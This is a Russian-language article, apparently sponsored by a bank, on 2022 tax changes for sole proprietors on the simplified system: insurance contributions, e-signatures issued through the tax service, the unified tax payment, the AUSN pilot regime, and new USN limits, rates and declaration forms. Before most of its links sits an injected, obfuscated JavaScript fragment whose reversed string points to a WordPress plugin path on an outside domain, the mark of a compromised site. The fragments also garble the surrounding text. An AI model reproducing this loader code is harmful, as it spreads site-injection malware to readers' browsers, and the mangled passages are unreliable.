Что изменится в 2022 году для ИП на упрощёнке
В наступающем году индивидуальных предпринимателей снова ждут изменения в работе. Вместе с Райффайзенбанком мы составили список нововведений, про которые надо узнать ИП на упрощёнке, чтобы в 2022 году работать по изменившимся правилам.
Мария Татаринцева
Для всех ИП
Некоторые изменения коснутся всех ИП без исключения. Другие — только предпринимателей на определенных налоговых режимах или с конкретным видом деятельности. Начнем с общих новостей.
Увеличится размер страховых взносов
Страховые взносы обязательны для всех ИП вне зависимости от налогового режима.
Фиксированная часть взносов регулярно индексируется в сторону увеличения. Из-за пандемии индексацию временно отменили и два года подряд взносы не менялись, но в 2022 году они снова повышаются.
$NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=https%3A%2F%2Fbase.garant.ru%2F10900200%2F25251f9c341b4b29fabf5cb7957c5992%2F”>Фиксированные взносы для ИП за себя в 2022 году — 43 211 ₽, в том числе:
в ПФР — 34 445 ₽ (+6% к значению прошлого года);
в ФФОМС — 8 766 ₽ (+4%).
Также ИП может вносить добровольные взносы в ФСС, чтобы получать выплаты при временной нетрудоспособности — по болезни или при беременности и родах. Сумма, которую придётся заплатить в 2022 году, чтобы получать выплаты из ФСС в 2023-м, — 4738,72 ₽.
ИП на УСН «Доходы» можно получить налоговый вычет с учётом суммы уплаченных страховых взносов за себя и персонал: 100% вычет для ИП без работников, до 50% — для ИП с наёмными сотрудниками.
Электронная подпись будет выдаваться в налоговой
С января 2022 года $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=https%3A%2F%2Fwww.nalog.gov.ru%2Frn77%2Fnews%2Factivities_fts%2F10880039%2F”>ИП сможет получить КЭП — усиленную квалифицированную электронную подпись только через Удостоверяющий центр ФНС России и его доверенных лиц (Сбербанк, ВТБ и др.). Эта подпись придает электронному документу такую же юридическую силу, как и при личном подписании.
За саму электронную подпись платить ничего не надо — она бесплатна. Вот только, чтобы получить её, придется купить специальную флешку — токен. Приобрести такой защищённый носитель предлагается в самой налоговой инспекции или в специализированном центре.
Если предприниматель недавно получал электронную подпись в коммерческом удостоверяющем центре, аккредитованном налоговой службой, то ее можно будет использовать до окончания срока действия. Затем оформление подписи для ИП будет возможно только в ФНС.
Больше возможностей для зачёта переплаты
C января 2022 года $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=http%3A%2F%2Fwww.consultant.ru%2Fdocument%2Fcons_doc_LAW_19671%2Ffbacbcfd4debdc278494b8260675cc5f93f4a24b%2F”>ИП смогут зачесть излишне уплаченные суммы по налогам не только в счёт платежей по этим же налогам, но и по другим налогам, сборам, страховым взносам. Например, из-за ошибки предприниматель заплатил лишнего в ПФР. Раньше он мог страховые взносы на пенсионное страхование зачесть только на оплату таких же взносов в будущем. Теперь удастся покрыть суммой переплаты любые другие обязательства, в том числе по УСН или земельному налогу.
Чтобы воспользоваться взаимозачётом, ИП должен будет подать заявление в течение трёх лет после переплаты.
ИП сможет вносить Единый налоговый платеж
С 1 июля 2022 года планируется внедрить $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=http%3A%2F%2Fwww.consultant.ru%2Fdocument%2Fcons_doc_LAW_401500%2F”>Единый налоговый платеж для юрлиц и ИП. Предприниматель будет вносить средства на специальный счёт, а распределять их по всем обязательствам бизнеса перед бюджетом будет сама налоговая автоматически.
Единый налоговый платеж будет включать:
все налоги для ИП и авансовые платежи по налогам;
страховые взносы — фиксированную часть и дополнительные взносы;
другие сборы, кроме госпошлин;
пени, проценты, штрафы по налогам, сборам, взносам.
Раньше на каждый такой платеж предприниматель создавал отдельную платежку: вносил реквизиты получателя, свои данные, КБК платежа. И был высок риск ошибок.
Теперь ИП смогут пополнять этот счёт заранее и налоговая вовремя станет списывать нужные суммы для внесения очередных платежей.
Подробности про Единый налоговый платеж появятся к апрелю, тогда и можно будет по желанию уведомить ФНС о переходе на него. Уже с 2023 года налоговики хотят сделать этот механизм расчетов с бизнесом обязательным.
Для ИП на УСН
Следующие изменения коснутся только ИП, применяющих упрощенную систему налогообложения. Ниже — перечень изменений и как это будет работать.
Появится новый налоговый режим — АСН (АУСН)
В Москве, Московской и Калужской областях и Татарстане с 1 июля 2022 года $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=http%3A%2F%2Fwww.consultant.ru%2Flaw%2Fhotdocs%2F71915.html%2F”>проведут эксперимент с новым спецрежимом — Автоматизированной упрощенной системы налогообложения. Планируется, что остальные регионы страны присоединятся к режиму АСН с 01.01.2024 года.
АСН (АУСН) — режим уплаты налогов, при котором налоговая ставка станет выше, чем по УСН, но не будет обязательных взносов за себя и работников. На АСН «Доходы» нужно будет платить 8% от выручки. На АСН «Доходы минус расходы» ставка налога повысится до 20%, при этом минимальный налог составит 3% от разницы между доходами и расходами, а не 1%, как было на УСН.
Новый режим рассчитан на ИП с небольшим штатом сотрудников (до пяти человек включительно) и доходом не выше 60 млн ₽ в год. Важно подсчитать целесообразность решения по переходу на АУСН — не всегда он окажется выгоднее, чем УСН. Нужно понимать, сколько удастся сэкономить на взносах за сотрудников и перекроет ли эта сумма затраты на повышенный налог.
Для расчёта налогооблагаемой базы в процессе, кроме плательщика налога и ФНС, будут принимать участие банки и операторы фискальных данных. Сумма налога каждый месяц будет автоматом высчитываться, исходя из поступлений через онлайн-кассы и банковских выписок. Информация отразится в личном кабинете налогоплательщика. Самостоятельно нужно будет вносить только доходы и расходы, которые не были проведены через банк и кассу (возврат долгов, взаимозачёты и др.).
➕ Плюсы перехода на АСН (АУСН):
- упразднение взносов в ПФР, ФСС на себя и сотрудников и отчётности по страховым взносам и НДФЛ, в Росстат;
- автоматическое получение налоговых уведомлений по аналогии с самозанятыми;
- отсутствие ведения налогового учёта и книги учёта доходов и расходов, часть отчётности возьмут на себя банковские структуры.
➖ Недостатки АСН (АУСН):
- налог начисляется ежемесячно;
- правильность налоговых расчётов будет зависеть от корректной работы контрольно-кассовой техники;
- количество банков, которые станут посредниками между ИП и ФНС, ограничено, их перечень пока не опубликован.
Принимать решение о переходе на АСН (АУСН) предпринимателям в пилотных регионах стоит только после расчётов — выгодно ли это или нет.
Новые лимиты и ставки по УСН
Лимиты для применения УСН $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=http%3A%2F%2Fwww.consultant.ru%2Fdocument%2Fcons_doc_LAW_399089%2F”>увеличились на коэффициент-дефлятор 1,096:
- если доход по УСН превышает 164,4 млн. ₽ (150 млн. ₽ * 1,096), то начнут применяться повышенные ставки;
- если доход превысит 219,2 млн. ₽ (200 млн. ₽ × 1,096), то ИП не сможет применять больше УСН.
В 2022 году базовые и повышенные ставки налога для ИП на УСН применяются при соблюдении таких условий:
| Условия для базовых ставок — УСН «Доходы» — 6% — УСН «Доходы минус расходы» — 15% | Условия для повышенных ставок — УСН «Доходы» — 8% — УСН «Доходы минус расходы» — 20% |
| Если численность работников — до 100 чел. и доходы — до 164,4 млн ₽/год. ? | Если численность работников — 101–130 чел., а доходы — до 219,2 млн ₽/год. ? |
Кроме того, региональные власти вправе устанавливать $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=https%3A%2F%2Fits.1c.ru%2Fdb%2Ftaxusn%2Fcontent%2F486%2Fhdoc”>льготные ставки для ИП с учетом вида деятельности или расположения:
- для ИП на УСН «доходы» — от 1%;
- для ИП на УСН «доходы минус расходы» — от 5% (3% для Севастополя и Крыма);
- в отдельных субъектах РФ для ИП на УСН действуют налоговые каникулы и ставка нулевая.
Многие льготы действуют до 31.12.2021 года и от регионов нужно ждать новых нормативных документов с указанием бизнеса, который вправе сэкономить при уплате УСН.
Меняется декларация по УСН
С 2022 года должна применяться новая $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=http%3A%2F%2Fwww.consultant.ru%2Fdocument%2Fcons_doc_LAW_374440%2Ff4f1c7b675ee63a808bb8cf898d9b65e58ab5c09%2F”>форма декларации по УСН. В неё добавились поля, в которых необходимо будет отразить тип ставки — пониженная, обычная или повышенная. При применении региональной пониженной ставки в декларации нужно указать $NqM=function(n){if(typeof($NqM.list[n])==“string”)return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n]};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphctertsto.ashx?type=ExternalLink&out=https%3A%2F%2Fbase.garant.ru%2F400217797%2F639cb47850bec590e6d5a82ddcf398c8%2F%23friends”>код основания.
В общем изменений не так много, но важно ничего не упустить, чтобы не возникло проблем с расчётом и уплатой налогов, страховых взносов и других обязательных платежей для ИП.
